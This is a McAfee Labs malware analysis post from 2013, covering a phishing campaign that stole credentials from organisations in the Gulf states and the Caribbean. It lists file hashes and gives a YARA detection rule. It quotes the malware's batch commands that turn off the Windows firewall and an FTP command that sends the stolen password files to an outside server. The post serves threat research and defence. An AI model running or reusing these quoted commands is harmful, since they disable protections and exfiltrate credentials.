Targeted Campaign Steals Credentials in Gulf States and Caribbean

kashifali.ca/2013/07/01/targeted-campaign-steals-credentials-in-gulf-states-and-caribbean

McAfee Labs July 1, 2013

Last week, McAfee's Foundstone Incident Response team got hold of a piece of malware that was sent out during a phishing campaign. The campaign targeted several companies and institutes in the United Arab Emirates, Oman, Bahrain, and a couple of Caribbean islands.

The executable that was sent with the email was called emiratesstatement.exe and the pictogram of the executable tried to impersonate itself as a PDF.

- File: emiratestatement.exe
- Size: 3,325,952 bytes
- MD5: 0E37B6EFE5DE1CC9236017E003B1FC37

A sample, more than 3MB, is strange. Normally malware samples are less than 1MB. Analyzing the malware, we retrieved a simple XOR key to decrypt the contents of this file:

```
pic1_xor_decryption
```

While running this malware through behavioral analysis we extracted more than 14 files from this executable:

aatd.bat	48d6afe2dcb0a98819c1c76cd3cd054d
bms.klm	3268e2c9998a27902151b19eb5a0d8f4
cond.reg	631729880e3feedc0454cddc5014ef7d
dd.vbs	cdc8adfcdf51b0e91b56c85f4a5f041d
icd.bat	9e3ff6bf3ac3d989db6e306710bab1b8
ictd.bat	4d7f254f7046e151dde6618d5561d31d
ied.bat	f7cb74f59c4f55005f26e43dd146209a
iewed.bat	1af2ab442e95630ee768a2b83868fd60
image.exe	a28b22acf2358e6aced43a6260af9170
keeprun.ini	07ec8b360e188bbcf2013a5e3a220e5d
msnd.exe	6f506d7adfcc2288631ed2da37b0db04

picture viewer.exe	8aebade47dc1aa9ac4b5625acf5ade8f
pid.PDF	3bb044c0480af11e5bf466f9f253e2a9
sad.vbs	12a5bdd999d105691555e72100d9b4e9

Each of them had several roles in the process of execution and relation. The key components:

- Msnd.exe: a keylogger writing the output to a TMP file
- Image.exe: mail password recovery tool written by SecurityXploded
- Picture viewer.exe: browser password recovery tool written by SecurityXploded

The malware tries two options to install itself:

- Installing the msnd keylogger and activating the password recovery tools
- Opening the pid.PDF file. This PDF will open a PDF reader and the malware will inject itself into this process and activate the password-recovery tools.

During the malware's installation, it disables the Windows firewall by using two simple .bat scripts containing the following code:

@netsh firewall set opmode disable
@cls
@netsh advfirewall set currentprofile state off

After gathering all the recovered passwords and writing them to output files, these files are converted to files starting with the prefix PIC- followed by the date/time and a numerical indicator:

@set d=%date:~-4,4%%date:~-7,2%%date:~0,2%
@set d=%d: =_%
@set t=%time:~0,2%%time:~3,2%%time:~6,2%
@set t=%t: =0%
@RENAME "msn.klm" "PIC_%d%_%t%.014"
@cls
@RENAME "wmsn.klm" "PIC_%d%_%t%.015"

After these files are created, an FTP session transfers the files to this FTP server:

@start /b ftp -i -v -s:bms.klm ftp.freehostia.com

A visual representation of the malware and the relations with the different modules:

pic2_working_malware

The FTP site contained several folders with the PIC*.* files:

Folders containing the PIC files:

pic3_ftp_folder

pic4_ftp_listing

By analyzing the output files, we found the targets of this campaign were situated in the United Arab Emirates, Bahrain, Oman, and a couple of Caribbean islands. The victims ranged from local government entities to companies operating in the telecom sector, IT, travel, and natural resources. The credentials the criminals acquired contained usernames and passwords for a variety of sites:

- Webmail of the victim's institute/company
- Facebook
- Hotmail
- Internal CRM system
- News-site logins
- Travel reservation systems
- E-services for governmental institutes
- Firewall logins
- Tender site logins

Yara rule to detect the malware:

```
rule EmiratesStatement :
{
meta:
author = "Christiaan Beek"
date = "2013-06-30"
description = "Credentials Stealing Attack"
hash0 = "0e37b6efe5de1cc9236017e003b1fc37"
hash1 = "a28b22acf2358e6aced43a6260af9170"
hash2 = "6f506d7adfcc2288631ed2da37b0db04"
hash3 = "8aebade47dc1aa9ac4b5625acf5ade8f "

strings:
$string0 = "msn.klm"
$string1 = "wmsn.klm"
$string2 = "bms.klm"
condition:
all of them
}
```

To prevent these kinds of attacks:

- Users should not click on files attached to an email that are sent by unknown persons

- Block emails at the email gateway/mail server that contain an executable file
- Implement a spam filter that regularly imports up-to-date threat intelligence